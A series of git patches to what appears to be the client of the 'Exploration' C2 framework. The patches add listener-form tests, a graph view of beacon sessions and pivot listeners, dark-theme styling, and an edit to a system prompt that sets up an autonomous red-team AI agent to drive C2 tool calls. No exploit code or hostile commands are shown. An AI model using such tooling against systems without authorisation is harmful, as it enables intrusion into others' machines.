test_add_listener_form_updates_fields_by_type(qtbot): + form = CreateListner() + qtbot.addWidget(form) + + assert form.qcombo.currentText() == HttpsType + assert form.labelIP.text() == "IP" + assert form.param1.text() == "0.0.0.0" + assert form.param2.text() == "8443" + assert form.buttonOk.isEnabled() is True + assert "HTTPS listener" in form.helpLabel.text() + + form.qcombo.setCurrentText(DnsType) + + assert form.labelIP.text() == "Domain" + assert form.labelPort.text() == "Port" + assert form.param1.text() == "" + assert form.param2.text() == "53" + assert form.buttonOk.isEnabled() is False + + form.param1.setText("example.com") + assert form.buttonOk.isEnabled() is True + + +def test_add_listener_form_masks_github_token_and_requires_values(qtbot): + form = CreateListner() + qtbot.addWidget(form) + + form.qcombo.setCurrentText(GithubType) + + assert form.labelIP.text() == "Project" + assert form.labelPort.text() == "Token" + assert form.param2.echoMode() == QLineEdit.EchoMode.Password + assert form.buttonOk.isEnabled() is False + + form.param1.setText("owner/repo") + form.param2.setText("token") + + assert form.buttonOk.isEnabled() is True + + +def test_add_listener_form_resets_incompatible_values_when_type_changes(qtbot): + form = CreateListner() + qtbot.addWidget(form) + + form.qcombo.setCurrentText(GithubType) + form.param1.setText("owner/repo") + form.param2.setText("token") + form.qcombo.setCurrentText(HttpType) + + assert form.param1.text() == "0.0.0.0" + assert form.param2.text() == "8080" + assert form.buttonOk.isEnabled() is True + + def test_add_listener_form_emits_trimmed_valid_values(qtbot): form = CreateListner() qtbot.addWidget(form) From 537541c06442bed4abd7709b31c38c0d7d7dd540 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Mon, 4 May 2026 21:52:27 +0200 Subject: [PATCH 15/82] Minor --- .../C2Client/assistant_agent/prompts/system/main_agent.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/C2Client/C2Client/assistant_agent/prompts/system/main_agent.md b/C2Client/C2Client/assistant_agent/prompts/system/main_agent.md index 3169242..6ac93ec 100644 --- a/C2Client/C2Client/assistant_agent/prompts/system/main_agent.md +++ b/C2Client/C2Client/assistant_agent/prompts/system/main_agent.md @@ -1,4 +1,4 @@ -You are an autonomous Red Team operator assistant embedded within the "Exploration" C2 framework. +You are an autonomous Red Team operator assistant embedded within the Exploration C2 framework. Your role is to support authorized offensive security operations by analyzing session metadata, interpreting command outputs, and orchestrating precise, low-noise actions through available C2 tools. @@ -26,6 +26,7 @@ TOOL USAGE CONSTRAINTS ---------------------------------------- - Always use the most specific and purpose-built tool available. - Only use generic execution or raw module argument tools if no specialized tool exists. +- Treat each available module as a local release-side module; do not invent remote capabilities. - Every tool call MUST include: - Full and exact `beacon_hash` - Full and exact `listener_hash` @@ -102,4 +103,4 @@ FAILURE HANDLING PRINCIPLE ---------------------------------------- Act like a disciplined operator, not a script runner: -Every action must be intentional, justified, and aligned with the engagement objective. \ No newline at end of file +Every action must be intentional, justified, and aligned with the engagement objective. From a998d2ee496b3eb61e2d85c4a55be2b4af648133 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Mon, 4 May 2026 22:06:01 +0200 Subject: [PATCH 16/82] Maj Graph --- C2Client/C2Client/GraphPanel.py | 486 ++++++++++++++++++++--------- C2Client/tests/test_graph_panel.py | 82 +++++ 2 files changed, 414 insertions(+), 154 deletions(-) diff --git a/C2Client/C2Client/GraphPanel.py b/C2Client/C2Client/GraphPanel.py index 4add386..66f203a 100644 --- a/C2Client/C2Client/GraphPanel.py +++ b/C2Client/C2Client/GraphPanel.py @@ -4,12 +4,15 @@ import logging from PyQt6.QtCore import QObject, QPointF, Qt, QThread, QLineF, pyqtSignal -from PyQt6.QtGui import QColor, QFont, QPainter, QPen, QPixmap +from PyQt6.QtGui import QColor, QFont, QFontMetrics, QPainter, QPen, QPixmap from PyQt6.QtWidgets import ( + QHBoxLayout, QGraphicsLineItem, QGraphicsPixmapItem, QGraphicsScene, QGraphicsView, + QLabel, + QPushButton, QVBoxLayout, QWidget, QGraphicsItem, @@ -25,6 +28,14 @@ # BeaconNodeItemType = "Beacon" ListenerNodeItemType = "Listener" +NODE_ICON_SIZE = 64 +NODE_LABEL_WIDTH = 132 +NODE_TEXT_COLOR = QColor("#e4e7ec") +GRAPH_BACKGROUND_COLOR = QColor("#0b1117") +GRAPH_EDGE_COLOR = QColor("#7cd4fd") +GRAPH_ZOOM_STEP = 1.18 +GRAPH_MIN_ZOOM = 0.25 +GRAPH_MAX_ZOOM = 3.0 try: import pkg_resources @@ -56,6 +67,15 @@ LinuxRootSessionImage = os.path.join(os.path.dirname(__file__), 'images/linuxhighpriv.svg') +def short_hash(value, length=8): + text = str(value or "") + return text[:length] if len(text) > length else text + + +def _text(value): + return str(value or "").strip() + + # # Graph Tab Implementation # @@ -68,39 +88,47 @@ def trigger(self): class NodeItem(QGraphicsPixmapItem): - # Signal to notify position changes - signaller = Signaller() - - def __init__(self, type, hash, os="", privilege="", hostname="", parent=None): + def __init__(self, type, hash, os="", privilege="", hostname="", listener_type="", parent=None): + # Signal to notify position changes; QGraphicsPixmapItem is not a QObject. + self.signaller = Signaller() self.autoPositioned = False self.userMoved = False + self.displayLabel = "" + self.os = _text(os) + self.privilege = _text(privilege) + self.hostname = _text(hostname) + self.listenerType = _text(listener_type) or "listener" if type == ListenerNodeItemType: self.type = ListenerNodeItemType - pixmap = self.addImageNode(PrimaryListenerImage, "") + self.displayLabel = "\n".join([self.listenerType, short_hash(hash)]) + pixmap = self.addImageNode(PrimaryListenerImage, self.displayLabel) self.beaconHash = "" self.connectedListenerHash = "" self.listenerHash = [] self.listenerHash.append(hash) elif type == BeaconNodeItemType: self.type = BeaconNodeItemType - if "linux" in os.lower(): - if privilege == "root": - pixmap = self.addImageNode(LinuxRootSessionImage, hostname) + self.displayLabel = self.beaconLabel(hash) + if "linux" in self.os.lower(): + if self.privilege == "root": + pixmap = self.addImageNode(LinuxRootSessionImage, self.displayLabel) else: - pixmap = self.addImageNode(LinuxSessionImage, hostname) - elif "windows" in os.lower(): - if privilege == "HIGH": - pixmap = self.addImageNode(WindowsHighPrivSessionImage, hostname) + pixmap = self.addImageNode(LinuxSessionImage, self.displayLabel) + elif "windows" in self.os.lower(): + if self.privilege == "HIGH": + pixmap = self.addImageNode(WindowsHighPrivSessionImage, self.displayLabel) else: - pixmap = self.addImageNode(WindowsSessionImage, hostname) + pixmap = self.addImageNode(WindowsSessionImage, self.displayLabel) else: - pixmap = QPixmap(LinuxSessionImage).scaled(64, 64, Qt.AspectRatioMode.KeepAspectRatio, Qt.TransformationMode.SmoothTransformation) + pixmap = self.addImageNode(LinuxSessionImage, self.displayLabel) self.beaconHash=hash - self.hostname = hostname self.connectedListenerHash = "" self.listenerHash=[] super().__init__(pixmap) + self.setAcceptHoverEvents(True) + self.setCursor(Qt.CursorShape.OpenHandCursor) + self.refreshTooltip() def logDebug(self): logger.debug( @@ -117,6 +145,47 @@ def isResponsableForListener(self, hash): else: return False + def beaconLabel(self, beaconHash): + if self.hostname: + return "\n".join([self.hostname, short_hash(beaconHash)]) + return short_hash(beaconHash) + + def addListenerHash(self, listenerHash): + if listenerHash and listenerHash not in self.listenerHash: + self.listenerHash.append(listenerHash) + self.refreshTooltip() + + def removeListenerHash(self, listenerHash): + if listenerHash in self.listenerHash: + self.listenerHash.remove(listenerHash) + self.refreshTooltip() + + def setConnectedListenerHash(self, listenerHash): + self.connectedListenerHash = _text(listenerHash) + self.refreshTooltip() + + def refreshTooltip(self): + if self.type == ListenerNodeItemType: + tooltip = [ + "Primary listener", + f"Type: {self.listenerType}", + f"Hash: {', '.join(self.listenerHash)}", + ] + else: + tooltip = [ + "Beacon session", + f"Host: {self.hostname or 'unknown'}", + f"Hash: {self.beaconHash}", + f"Listener: {self.connectedListenerHash or 'unknown'}", + ] + if self.os: + tooltip.append(f"OS: {self.os}") + if self.privilege: + tooltip.append(f"Privilege: {self.privilege}") + if self.listenerHash: + tooltip.append(f"Hosted listeners: {', '.join(self.listenerHash)}") + self.setToolTip("\n".join(tooltip)) + def mouseMoveEvent(self, event): self.userMoved = True self.autoPositioned = False @@ -131,18 +200,33 @@ def mouseReleaseEvent(self, event): super().mouseReleaseEvent(event) self.setCursor(Qt.CursorShape.ArrowCursor) - def addImageNode(self, image_path, legend_text, font_size=9, padding=5, text_color=Qt.GlobalColor.white): + def addImageNode(self, image_path, legend_text, font_size=9, padding=5, text_color=NODE_TEXT_COLOR): # Load and scale the image - pixmap = QPixmap(image_path).scaled(64, 64, Qt.AspectRatioMode.KeepAspectRatio, Qt.TransformationMode.SmoothTransformation) + pixmap = QPixmap(image_path).scaled( + NODE_ICON_SIZE, + NODE_ICON_SIZE, + Qt.AspectRatioMode.KeepAspectRatio, + Qt.TransformationMode.SmoothTransformation, + ) + + font = QFont() + font.setPointSize(font_size) + metrics = QFontMetrics(font) + labelLines = [ + metrics.elidedText(line, Qt.TextElideMode.ElideRight, NODE_LABEL_WIDTH - padding * 2) + for line in str(legend_text or "").splitlines() + if line + ] # Create a new QPixmap larger than the original for the image and text - legend_height = font_size + padding * 2 - legend_width = len(legend_text) * font_size + padding * 2 - combined_pixmap = QPixmap(max(legend_width, pixmap.width()), pixmap.height() + legend_height) + legend_height = (metrics.height() * len(labelLines) + padding * 2) if labelLines else 0 + combined_pixmap = QPixmap(max(NODE_LABEL_WIDTH, pixmap.width()), pixmap.height() + legend_height) combined_pixmap.fill(Qt.GlobalColor.transparent) # Transparent background # Paint the image and the legend onto the combined pixmap painter = QPainter(combined_pixmap) + painter.setRenderHint(QPainter.RenderHint.Antialiasing) + painter.setRenderHint(QPainter.RenderHint.TextAntialiasing) image_x = (combined_pixmap.width() - pixmap.width()) // 2 painter.drawPixmap(image_x, 0, pixmap) # Draw the image @@ -150,15 +234,19 @@ def addImageNode(self, image_path, legend_text, font_size=9, padding=5, text_col pen.setColor(text_color) # Set the desired text color painter.setPen(pen) # Set font for the legend - font = QFont() - font.setPointSize(font_size) painter.setFont(font) # Draw the legend text centered below the image - text_rect = painter.boundingRect( - 0, pixmap.height(), combined_pixmap.width(), legend_height, Qt.AlignmentFlag.AlignCenter, legend_text - ) - painter.drawText(text_rect, Qt.AlignmentFlag.AlignCenter, legend_text) + for index, line in enumerate(labelLines): + line_y = pixmap.height() + padding + index * metrics.height() + painter.drawText( + 0, + line_y, + combined_pixmap.width(), + metrics.height(), + Qt.AlignmentFlag.AlignCenter, + line, + ) painter.end() return combined_pixmap @@ -171,7 +259,8 @@ def __init__(self, listener, beacon, pen=None): self.listener = listener self.beacon = beacon - self.pen = pen or QPen(QColor("white"), 3) + self.pen = pen or QPen(GRAPH_EDGE_COLOR, 2) + self.pen.setCapStyle(Qt.PenCapStyle.RoundCap) self.setPen(self.pen) self.update_line() @@ -191,8 +280,9 @@ def update_line(self): class Graph(QWidget): PRIMARY_LISTENER_X = 40 - BEACON_X = 260 - SECONDARY_LISTENER_X = 480 + NODE_X_GAP = 220 + BEACON_X = PRIMARY_LISTENER_X + NODE_X_GAP + SECONDARY_LISTENER_X = BEACON_X + NODE_X_GAP NODE_Y_START = 40 NODE_Y_GAP = 120 @@ -202,20 +292,45 @@ class Graph(QWidget): def __init__(self, parent, grpcClient): super(QWidget, self).__init__(parent) - width = self.frameGeometry().width() - height = self.frameGeometry().height() - self.grpcClient = grpcClient self.listNodeItem = [] self.listConnector = [] + self.zoomFactor = 1.0 self.scene = QGraphicsScene() + self.scene.setBackgroundBrush(GRAPH_BACKGROUND_COLOR) self.view = QGraphicsView(self.scene) self.view.setRenderHint(QPainter.RenderHint.Antialiasing) + self.view.setRenderHint(QPainter.RenderHint.TextAntialiasing) + self.view.setTransformationAnchor(QGraphicsView.ViewportAnchor.AnchorUnderMouse) + self.view.setResizeAnchor(QGraphicsView.ViewportAnchor.AnchorViewCenter) + self.view.setStyleSheet("QGraphicsView { border: 1px solid #263241; }") self.vbox = QVBoxLayout() - self.vbox.setContentsMargins(0, 0, 0, 0) + self.vbox.setContentsMargins(4, 4, 4, 4) + self.vbox.setSpacing(4) + self.toolbar = QHBoxLayout() + self.toolbar.setSpacing(4) + self.titleLabel = QLabel("Graph") + self.toolbar.addWidget(self.titleLabel) + self.toolbar.addStretch(1) + self.refreshButton = self.createToolbarButton("Refresh", "Refresh graph now.", width=70) + self.refreshButton.clicked.connect(self.updateGraph) + self.toolbar.addWidget(self.refreshButton) + self.autoLayoutButton = self.createToolbarButton("Auto", "Re-apply automatic layout.", width=56) + self.autoLayoutButton.clicked.connect(self.resetAutoLayout) + self.toolbar.addWidget(self.autoLayoutButton) + self.fitButton = self.createToolbarButton("Fit", "Fit graph in view.", width=48) + self.fitButton.clicked.connect(self.fitGraph) + self.toolbar.addWidget(self.fitButton) + self.zoomOutButton = self.createToolbarButton("-", "Zoom out.", width=34) + self.zoomOutButton.clicked.connect(self.zoomOut) + self.toolbar.addWidget(self.zoomOutButton) + self.zoomInButton = self.createToolbarButton("+", "Zoom in.", width=34) + self.zoomInButton.clicked.connect(self.zoomIn) + self.toolbar.addWidget(self.zoomInButton) + self.vbox.addLayout(self.toolbar) self.vbox.addWidget(self.view) self.setLayout(self.vbox) @@ -229,36 +344,100 @@ def __init__(self, parent, grpcClient): # self.updateScene() + def createToolbarButton(self, text, tooltip, width=58): + button = QPushButton(text) + button.setToolTip(tooltip) + button.setFixedHeight(26) + button.setMinimumWidth(width) + button.setMaximumWidth(width) + return button + def __del__(self): - self.getGraphInfoWorker.quit() - self.thread.quit() - self.thread.wait() + try: + self.getGraphInfoWorker.quit() + self.thread.quit() + self.thread.wait() + except RuntimeError: + pass def updateConnectors(self): for connector in self.listConnector: connector.update_line() + def resetAutoLayout(self): + for item in self.listNodeItem: + item.userMoved = False + self.applyAutoLayout() + self.fitGraph() + + def fitGraph(self): + if not self.scene.items(): + return + rect = self.scene.itemsBoundingRect().adjusted(-80, -80, 160, 160) + self.scene.setSceneRect(rect) + self.view.fitInView(rect, Qt.AspectRatioMode.KeepAspectRatio) + self.zoomFactor = self.view.transform().m11() + + def setZoom(self, zoomFactor): + boundedZoom = max(GRAPH_MIN_ZOOM, min(GRAPH_MAX_ZOOM, zoomFactor)) + self.zoomFactor = boundedZoom + self.view.resetTransform() + self.view.scale(boundedZoom, boundedZoom) + + def zoomIn(self): + self.setZoom(self.zoomFactor * GRAPH_ZOOM_STEP) + + def zoomOut(self): + self.setZoom(self.zoomFactor / GRAPH_ZOOM_STEP) + def applyAutoLayout(self): - primaryListeners = [ - item for item in self.listNodeItem - if item.type == ListenerNodeItemType - ] + columns = self.layoutColumns() + for depth, nodes in columns.items(): + self.positionNodeColumn(nodes, self.PRIMARY_LISTENER_X + depth * self.NODE_X_GAP) + self.updateConnectors() + self.scene.setSceneRect(self.scene.itemsBoundingRect().adjusted(-80, -80, 160, 160)) + + def layoutColumns(self): + listenerDepthByHash = {} + columns = {0: []} + + for item in self.listNodeItem: + if item.type == ListenerNodeItemType: + columns[0].append(item) + for listenerHash in item.listenerHash: + listenerDepthByHash[listenerHash] = 0 + + beaconDepthByHash = {} beacons = [ item for item in self.listNodeItem if item.type == BeaconNodeItemType ] - secondaryListenerBeacons = [ - item for item in beacons - if item.listenerHash - ] - self.positionNodeColumn(primaryListeners, self.PRIMARY_LISTENER_X) - self.positionNodeColumn(beacons, self.BEACON_X) - self.positionNodeColumn(secondaryListenerBeacons, self.SECONDARY_LISTENER_X) - self.updateConnectors() - self.scene.setSceneRect(self.scene.itemsBoundingRect().adjusted(-80, -80, 160, 160)) + changed = True + remainingPasses = max(1, len(beacons) + len(listenerDepthByHash) + 1) + while changed and remainingPasses > 0: + remainingPasses -= 1 + changed = False + for beacon in beacons: + sourceDepth = listenerDepthByHash.get(beacon.connectedListenerHash, 0) + depth = max(1, sourceDepth + 1) + if beaconDepthByHash.get(beacon.beaconHash) != depth: + beaconDepthByHash[beacon.beaconHash] = depth + changed = True + for listenerHash in beacon.listenerHash: + if listenerDepthByHash.get(listenerHash) != depth: + listenerDepthByHash[listenerHash] = depth + changed = True + + for beacon in beacons: + depth = beaconDepthByHash.get(beacon.beaconHash, 1) + columns.setdefault(depth, []).append(beacon) + + for depth, nodes in columns.items(): + columns[depth] = sorted(nodes, key=lambda item: (item.type, item.displayLabel, item.beaconHash)) + return columns def positionNodeColumn(self, nodes, x): for index, node in enumerate(nodes): @@ -267,122 +446,121 @@ def positionNodeColumn(self, nodes, x): node.setPos(QPointF(x, self.NODE_Y_START + index * self.NODE_Y_GAP)) node.autoPositioned = True - # Update the graphe every X sec with information from the team server - def updateGraph(self): - - # - # Update beacons - # - responses = self.grpcClient.listSessions() - sessions = list() - for response in responses: - sessions.append(response) + def findBeaconNode(self, beaconHash): + for nodeItem in self.listNodeItem: + if nodeItem.type == BeaconNodeItemType and nodeItem.beaconHash == beaconHash: + return nodeItem + return None - # delete beacon - for ix, nodeItem in enumerate(self.listNodeItem): - runing=False - for session in sessions: - if session.beacon_hash == nodeItem.beaconHash: - runing=True - if not runing and self.listNodeItem[ix].type == BeaconNodeItemType: - for ix2, connector in enumerate(self.listConnector): - if connector.beacon.beaconHash == nodeItem.beaconHash: - logger.debug("Delete graph connector for beacon %s", nodeItem.beaconHash) - self.scene.removeItem(self.listConnector[ix2]) - del self.listConnector[ix2] + def findResponsibleNode(self, listenerHash): + for nodeItem in self.listNodeItem: + if nodeItem.isResponsableForListener(listenerHash): + return nodeItem + return None + + def removeNode(self, nodeItem): + for connector in list(self.listConnector): + if connector.listener is nodeItem or connector.beacon is nodeItem: + self.scene.removeItem(connector) + self.listConnector.remove(connector) + if nodeItem in self.listNodeItem: + self.scene.removeItem(nodeItem) + self.listNodeItem.remove(nodeItem) + + def syncBeacons(self, sessions): + sessionHashes = {session.beacon_hash for session in sessions} + for nodeItem in list(self.listNodeItem): + if nodeItem.type == BeaconNodeItemType and nodeItem.beaconHash not in sessionHashes: logger.debug("Delete graph beacon %s", nodeItem.beaconHash) - self.scene.removeItem(self.listNodeItem[ix]) - del self.listNodeItem[ix] + self.removeNode(nodeItem) - # add beacon for session in sessions: - inStore=False - for ix, nodeItem in enumerate(self.listNodeItem): - if session.beacon_hash == nodeItem.beaconHash: - inStore=True - if not inStore: - item = NodeItem(BeaconNodeItemType, session.beacon_hash, session.os, session.privilege, session.hostname) - item.connectedListenerHash = session.listener_hash + nodeItem = self.findBeaconNode(session.beacon_hash) + if nodeItem is None: + nodeItem = NodeItem( + BeaconNodeItemType, + session.beacon_hash, + getattr(session, "os", ""), + getattr(session, "privilege", ""), + getattr(session, "hostname", ""), + ) + nodeItem.signaller.signal.connect(self.updateConnectors) + self.scene.addItem(nodeItem) + self.listNodeItem.append(nodeItem) + logger.debug("Add graph beacon %s", session.beacon_hash) + nodeItem.setConnectedListenerHash(getattr(session, "listener_hash", "")) + + def syncListeners(self, listeners): + activeListenerHashes = {listener.listener_hash for listener in listeners} + + for nodeItem in list(self.listNodeItem): + if nodeItem.type == ListenerNodeItemType: + if not any(listenerHash in activeListenerHashes for listenerHash in nodeItem.listenerHash): + logger.debug("Delete graph primary listener %s", nodeItem.listenerHash) + self.removeNode(nodeItem) + elif nodeItem.type == BeaconNodeItemType: + for listenerHash in list(nodeItem.listenerHash): + if listenerHash not in activeListenerHashes: + logger.debug("Delete graph secondary listener %s", listenerHash) + nodeItem.removeListenerHash(listenerHash) + + for listener in listeners: + if self.findResponsibleNode(listener.listener_hash) is not None: + continue + + beaconHash = getattr(listener, "beacon_hash", "") + if not beaconHash: + item = NodeItem( + ListenerNodeItemType, + listener.listener_hash, + listener_type=getattr(listener, "type", "listener"), + ) item.signaller.signal.connect(self.updateConnectors) self.scene.addItem(item) self.listNodeItem.append(item) - logger.debug("Add graph beacon %s", session.beacon_hash) + logger.debug("Add graph primary listener %s", listener.listener_hash) + else: + beaconNode = self.findBeaconNode(beaconHash) + if beaconNode is not None: + beaconNode.addListenerHash(listener.listener_hash) + logger.debug("Add graph secondary listener %s", listener.listener_hash) + + def rebuildConnectors(self): + for connector in list(self.listConnector): + self.scene.removeItem(connector) + self.listConnector = [] + + for nodeItem in self.listNodeItem: + if nodeItem.type != BeaconNodeItemType: + continue + listener = self.findResponsibleNode(nodeItem.connectedListenerHash) + if listener is None: + continue + connector = Connector(listener, nodeItem) + self.scene.addItem(connector) + connector.setZValue(-1) + self.listConnector.append(connector) + logger.debug( + "Add graph connector listener=%s beacon=%s", + nodeItem.connectedListenerHash, + nodeItem.beaconHash, + ) + + # Update the graph with information from the team server + def updateGraph(self): + responses = self.grpcClient.listSessions() + sessions = list() + for response in responses: + sessions.append(response) - # - # Update listener - # - responses= self.grpcClient.listListeners() + responses = self.grpcClient.listListeners() listeners = list() for listener in responses: listeners.append(listener) - # delete listener - for ix, nodeItem in enumerate(self.listNodeItem): - runing=False - for listener in listeners: - if nodeItem.isResponsableForListener(listener.listener_hash): - runing=True - if not runing: - # primary listener - if self.listNodeItem[ix].type == ListenerNodeItemType: - for ix2, connector in enumerate(self.listConnector): - if self.listNodeItem[ix2].listenerHash in connector.listener.listenerHash: - logger.debug("Delete graph connector for listener %s", nodeItem.listenerHash) - self.scene.removeItem(self.listConnector[ix2]) - del self.listConnector[ix2] - logger.debug("Delete graph primary listener %s", nodeItem.listenerHash) - self.scene.removeItem(self.listNodeItem[ix]) - del self.listNodeItem[ix] - - # beacon listener - elif self.listNodeItem[ix].type == BeaconNodeItemType: - if listener.listener_hash in self.listNodeItem[ix].listenerHash: - for ix2, connector in enumerate(self.listConnector): - if self.listNodeItem[ix2].listenerHash in connector.listener.listenerHash: - logger.debug("Delete graph connector for secondary listener %s", listener.listener_hash) - self.scene.removeItem(self.listConnector[ix2]) - del self.listConnector[ix2] - logger.debug("Delete graph secondary listener %s", nodeItem.listenerHash) - self.listNodeItem[ix].listenerHash.remove(listener.listener_hash) - - # add listener - for listener in listeners: - inStore=False - for ix, nodeItem in enumerate(self.listNodeItem): - if nodeItem.isResponsableForListener(listener.listener_hash): - inStore=True - if not inStore: - if not listener.beacon_hash: - item = NodeItem(ListenerNodeItemType, listener.listener_hash) - item.signaller.signal.connect(self.updateConnectors) - self.scene.addItem(item) - self.listNodeItem.append(item) - logger.debug("Add graph primary listener %s", listener.listener_hash) - else: - for nodeItem2 in self.listNodeItem: - if nodeItem2.beaconHash == listener.beacon_hash: - nodeItem2.listenerHash.append(listener.listener_hash) - logger.debug("Add graph secondary listener %s", listener.listener_hash) - - # - # Update connectors - # - for nodeItem in self.listNodeItem: - if nodeItem.type == BeaconNodeItemType: - inStore=False - beaconHash = nodeItem.beaconHash - listenerHash = nodeItem.connectedListenerHash - for connector in self.listConnector: - if connector.listener.isResponsableForListener(listenerHash) and connector.beacon.beaconHash == beaconHash: - inStore=True - if not inStore: - for listener in self.listNodeItem: - if listener.isResponsableForListener(listenerHash)==True: - connector = Connector(listener, nodeItem) - self.scene.addItem(connector) - connector.setZValue(-1) - self.listConnector.append(connector) - logger.debug("Add graph connector listener=%s beacon=%s", listenerHash, beaconHash) + self.syncBeacons(sessions) + self.syncListeners(listeners) + self.rebuildConnectors() for item in self.listNodeItem: item.setFlag(QGraphicsItem.GraphicsItemFlag.ItemIsMovable) diff --git a/C2Client/tests/test_graph_panel.py b/C2Client/tests/test_graph_panel.py index f8175ce..7025afd 100644 --- a/C2Client/tests/test_graph_panel.py +++ b/C2Client/tests/test_graph_panel.py @@ -32,6 +32,32 @@ def listListeners(self): ] +class PivotGrpc: + def listSessions(self): + return [ + SimpleNamespace( + beacon_hash="beacon-parent", + listener_hash="listener-primary", + os="Windows", + privilege="HIGH", + hostname="parent", + ), + SimpleNamespace( + beacon_hash="beacon-child", + listener_hash="listener-pivot", + os="Linux", + privilege="user", + hostname="child", + ), + ] + + def listListeners(self): + return [ + SimpleNamespace(listener_hash="listener-primary", beacon_hash="", type="https"), + SimpleNamespace(listener_hash="listener-pivot", beacon_hash="beacon-parent", type="tcp"), + ] + + def test_graph_auto_layout_separates_new_nodes(qtbot, monkeypatch, capsys): monkeypatch.setattr("C2Client.GraphPanel.QThread.start", lambda self: None) @@ -67,3 +93,59 @@ def test_graph_auto_layout_preserves_user_moved_nodes(qtbot, monkeypatch): graph.updateGraph() assert moved.pos() == QPointF(900, 700) + + +def test_graph_layout_places_pivot_children_in_deeper_columns(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.GraphPanel.QThread.start", lambda self: None) + + graph = Graph(QWidget(), PivotGrpc()) + qtbot.addWidget(graph) + graph.updateGraph() + + parent = graph.findBeaconNode("beacon-parent") + child = graph.findBeaconNode("beacon-child") + primary = graph.findResponsibleNode("listener-primary") + + assert primary.displayLabel.startswith("https") + assert parent.pos().x() == graph.BEACON_X + assert child.pos().x() == graph.SECONDARY_LISTENER_X + assert len(graph.listConnector) == 2 + assert "Hosted listeners: listener-pivot" in parent.toolTip() + assert "Listener: listener-pivot" in child.toolTip() + + +def test_graph_auto_button_reclaims_user_moved_nodes(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.GraphPanel.QThread.start", lambda self: None) + + parent = QWidget() + qtbot.addWidget(parent) + graph = Graph(parent, StubGrpc()) + qtbot.addWidget(graph) + graph.updateGraph() + + moved = graph.findBeaconNode("beacon-1") + moved.userMoved = True + moved.setPos(QPointF(900, 700)) + + graph.autoLayoutButton.click() + + assert moved.userMoved is False + assert moved.pos().x() == graph.BEACON_X + + +def test_graph_zoom_buttons_update_view_scale(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.GraphPanel.QThread.start", lambda self: None) + + parent = QWidget() + qtbot.addWidget(parent) + graph = Graph(parent, StubGrpc()) + qtbot.addWidget(graph) + + initial_scale = graph.view.transform().m11() + graph.zoomInButton.click() + + assert graph.view.transform().m11() > initial_scale + + graph.zoomOutButton.click() + + assert graph.view.transform().m11() == initial_scale From acda5c9b71a48137b6fe3a684567c5c57fd7e6ea Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Mon, 4 May 2026 22:13:01 +0200 Subject: [PATCH 17/82] Unify dark theme across operator panels --- C2Client/C2Client/ListenerPanel.py | 2 + C2Client/C2Client/ScriptPanel.py | 2 + C2Client/C2Client/SessionPanel.py | 2 + C2Client/C2Client/panel_style.py | 79 +++++++++++++++++++++++++++ C2Client/tests/test_listener_panel.py | 3 + C2Client/tests/test_script_panel.py | 2 + C2Client/tests/test_session_panel.py | 3 + 7 files changed, 93 insertions(+) create mode 100644 C2Client/C2Client/panel_style.py diff --git a/C2Client/C2Client/ListenerPanel.py b/C2Client/C2Client/ListenerPanel.py index dbf9e90..35d1a45 100644 --- a/C2Client/C2Client/ListenerPanel.py +++ b/C2Client/C2Client/ListenerPanel.py @@ -26,6 +26,7 @@ from .grpcClient import TeamServerApi_pb2 from .env import env_int from .grpc_status import is_response_ok, operation_ack_text +from .panel_style import apply_dark_panel_style from .ui_status import apply_error, apply_status, clear_status, format_action_status, status_kind_for_ok logger = logging.getLogger(__name__) @@ -202,6 +203,7 @@ def __init__(self, parent, grpcClient): self.grpcClient = grpcClient self.idListener = 0 self.listListenerObject = [] + apply_dark_panel_style(self) self.createListenerWindow = None diff --git a/C2Client/C2Client/ScriptPanel.py b/C2Client/C2Client/ScriptPanel.py index ab5de40..38746d7 100644 --- a/C2Client/C2Client/ScriptPanel.py +++ b/C2Client/C2Client/ScriptPanel.py @@ -32,6 +32,7 @@ append_console_spacing, move_editor_to_end, ) +from .panel_style import apply_dark_panel_style logger = logging.getLogger(__name__) @@ -154,6 +155,7 @@ class Script(QWidget): def __init__(self, parent, grpcClient): super(QWidget, self).__init__(parent) + apply_dark_panel_style(self) self.layout = QVBoxLayout(self) self.layout.setContentsMargins(0, 0, 0, 0) diff --git a/C2Client/C2Client/SessionPanel.py b/C2Client/C2Client/SessionPanel.py index a9c9d67..b45d95b 100644 --- a/C2Client/C2Client/SessionPanel.py +++ b/C2Client/C2Client/SessionPanel.py @@ -22,6 +22,7 @@ from .grpcClient import TeamServerApi_pb2 from .env import env_int from .grpc_status import is_response_ok, operation_ack_text +from .panel_style import apply_dark_panel_style from .ui_status import apply_status, format_action_status, status_kind_for_ok logger = logging.getLogger(__name__) @@ -219,6 +220,7 @@ def __init__(self, parent, grpcClient): self.grpcClient = grpcClient self.idSession = 0 self.listSessionObject = [] + apply_dark_panel_style(self) self.sessionStaleAfterMs = env_int( "C2_SESSION_STALE_AFTER_MS", DEFAULT_SESSION_STALE_AFTER_MS, diff --git a/C2Client/C2Client/panel_style.py b/C2Client/C2Client/panel_style.py new file mode 100644 index 0000000..8ecf607 --- /dev/null +++ b/C2Client/C2Client/panel_style.py @@ -0,0 +1,79 @@ +from __future__ import annotations + +from .console_style import CONSOLE_COLORS + + +def apply_dark_panel_style(widget) -> None: + widget.setStyleSheet( + f""" + QWidget {{ + background-color: {CONSOLE_COLORS["background"]}; + color: {CONSOLE_COLORS["text"]}; + }} + QLabel {{ + color: {CONSOLE_COLORS["text"]}; + }} + QPushButton {{ + background-color: #101820; + color: {CONSOLE_COLORS["text"]}; + border: 1px solid {CONSOLE_COLORS["border"]}; + border-radius: 4px; + padding: 3px 8px; + }} + QPushButton:hover {{ + border-color: {CONSOLE_COLORS["timestamp"]}; + }} + QPushButton:disabled {{ + background-color: {CONSOLE_COLORS["background"]}; + color: #667085; + border-color: #1f2937; + }} + QLineEdit, QComboBox {{ + background-color: #101820; + color: {CONSOLE_COLORS["text"]}; + border: 1px solid {CONSOLE_COLORS["border"]}; + border-radius: 4px; + padding: 3px 6px; + selection-background-color: {CONSOLE_COLORS["selection"]}; + selection-color: {CONSOLE_COLORS["text"]}; + }} + QLineEdit:focus, QComboBox:focus {{ + border-color: {CONSOLE_COLORS["timestamp"]}; + }} + QComboBox::drop-down {{ + border: 0; + 